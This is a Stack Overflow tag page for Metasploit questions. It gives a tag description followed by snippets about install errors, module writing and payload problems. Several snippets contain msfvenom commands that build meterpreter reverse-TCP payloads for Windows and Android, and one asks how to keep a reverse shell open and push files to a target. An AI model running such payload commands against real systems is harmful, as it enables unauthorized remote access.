Questions tagged [metasploit]

This tag is for questions about *programming* the Metasploit framework, not for using the framework or attacking a specific site.

The Metasploit Framework is an open-source project owned/sponsored by Rapid7 for vulnerability assessment, exploitation development, penetration testing, and many other computer and network security-related tasks.

Since version 3 of the Framework, Metasploit has been written primarily in Ruby. Version 2 and older were written in Perl. The various payloads, stagers, and shellcodes are primarily written in C, assembly, and Java.

Metasploit is developed on Github. Documentation and community forums are available on Rapid7's community site. Questions can also be asked in the #metasploit channel on Freenode.

If your question is about using Metasploit, rather than programming with it, then it should probably go on our sister site Information Security.

If your question is about attacking a specific system, such questions are off-topic on Stack Overflow. They are also off-topic on Information Security unless they demonstrate an understanding of the concepts involved and clearly identify a specific problem.

Also, any issues resulting from using such tools without permission from the target are your own risk; we do not endorse such actions in any way.

228 questions
-1
votes
1 answer

Kali 1.1.0 - issue with bundle install

When trying to run pattern_create.rb I get an error message that rake-10.4.2 is missing and I need to run bundle install. Running bundle install it run's until Installing pg (0.18.1) with native extensions results in an error: …
GSOlion
  • 43
  • 4
-2
votes
0 answers

pls am trying to rebuild my application using apktool but i keep running into one specific error, pls help anyone....id be grateful

pls am trying to rebuild my application using apktool but i keep running into one specific error, pls help anyone....id be grateful apktool b /root/Ping1 I: Using Apktool 2.8.1 I: Checking whether sources has changed... I: Smaling smali folder into…
-2
votes
0 answers

metasploit Error: unloadable payload: android/meterpreter/reverse_tcp

msfvenom -p windows/meterpreter/reverse_tcp LHOST=***.***.*.** LPORT=4444 R > 123.exe Error: unloadable payload: windows/meterpreter/reverse_tcp msfvenom -p android/meterpreter/reverse_tcp LHOST=***.*.** LPORT=4444 R > 123.apk Error: unloadable…
-2
votes
1 answer

Prevent malicious code embedding

What a developer can do to prevent embedding of malicious code to their executable. Like how msfvenom, metasploit can embed payloads to any executable.
Mashhoor Gulati
  • 127
  • 3
  • 13
-2
votes
3 answers

Kali Linux - MSFVenom Payload Creation Error

So I just installed Kali Linux Rolling on my Dell Inspiron 5000 Series, Intel Core I5 (8th Generation)! And while I was trying to create a Windows Reverse TCP Payload in MSFVenom, One of the best Payload Creation Tools that comes with the hacking…
user8050600
-2
votes
1 answer

Error in msfvenom "Error: Invalid Format Selected" for android

today after a long time I was trying to make a payload for android but I got an error there which is "Error: Invalid Format Selected" this is the command: msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.43.4 lport=4444 -f apk -o…
-2
votes
1 answer

How to get started writing Metasploit modules/exploits?

I want to contribute code to the Metasploit Framework but I haven't got to know their formatting guidelines and code requirements. What are the contribution guidelines to get started to write your own Metasploit modules?
pr0f3ss
  • 527
  • 1
  • 4
  • 17
-2
votes
1 answer

How to fix syntax error while running Ruby script in Metasploit

I've been trying to automate Metasploit, but could not find success. I want a text file of hosts to undergo the same exploit ("oracle9i_xdb_pass"), with the same options. This is my code: lports = ["80","443","445"] index = 0; …
user3115222
  • 85
  • 1
  • 1
  • 4
-2
votes
1 answer

what is difference between Reverse and Bind TCP?

i did read a lot of Articles about this question on other websites but i didn't really understand. can you elaborate on that?! this is what i read http://www.go4expert.com/articles/difference-bind-shell-reverse-shell-t25408/ thanks.
abolfazl
  • 11
  • 1
  • 4
-2
votes
3 answers

Metasploit Update: Error In Bundle Install ( nokogiri 1.6.8 )

Metasploit was working fine until this morning when I updated it with msfupdate, then all went to heck. Typing msfconsole Now gives me this error: Could not find nokogiri-1.6.8 in any of the sources Run bundle install to install missing gems. I…
marc_s
  • 455
  • 1
  • 4
  • 15
-2
votes
1 answer

Cant make > symbol in php

I am trying to make a php script that generates a basic meterpreter reverse tcp payload. payloads/payload.exe'); echo $cmd; ?> When i want…
-2
votes
2 answers

Cannot find chmod[metasploit installation]

in the picture below you can see that it says chmod command is not found yet it has chmod installed. I am installing metasploit directly from the terminal(I did not install any desktop environment and don't want to run msf from there). Is there any…
Fur
  • 81
  • 9
-2
votes
1 answer

How to know user-agent information for metasploit modules

I want to know the user-agent compatibility information for "./windows/browser/ms13_090_cardspacesigninhelper.rb" module in backtrack. Kindly let me know how can I get this information. I searched in web and found "use auxiliary" command can give…
-3
votes
2 answers

Armitage 'Connection refused' error in new install of Kali Linux after full upgrade

I installed Kali Linux via VMware and did a full system upgrade: apt-get update apt-get upgrade apt-get full-upgrade As part of the upgrade postgresql upgraded from v11 to v12. I followed the instructions to finish this part of the…
Jon
  • 1
  • 1
  • 8
-3
votes
1 answer

How to mantain Shell_reverse_tcp connection?

I'm experimenting with reverse shell tcp. I managed to establish a connection, but my question is, how do I mantain a connection even after I close the multihandler? And when I'm using the target's command prompt, how do I send files to the target's…
pedro santos
  • 337
  • 1
  • 2
  • 9
1 2 3
15
16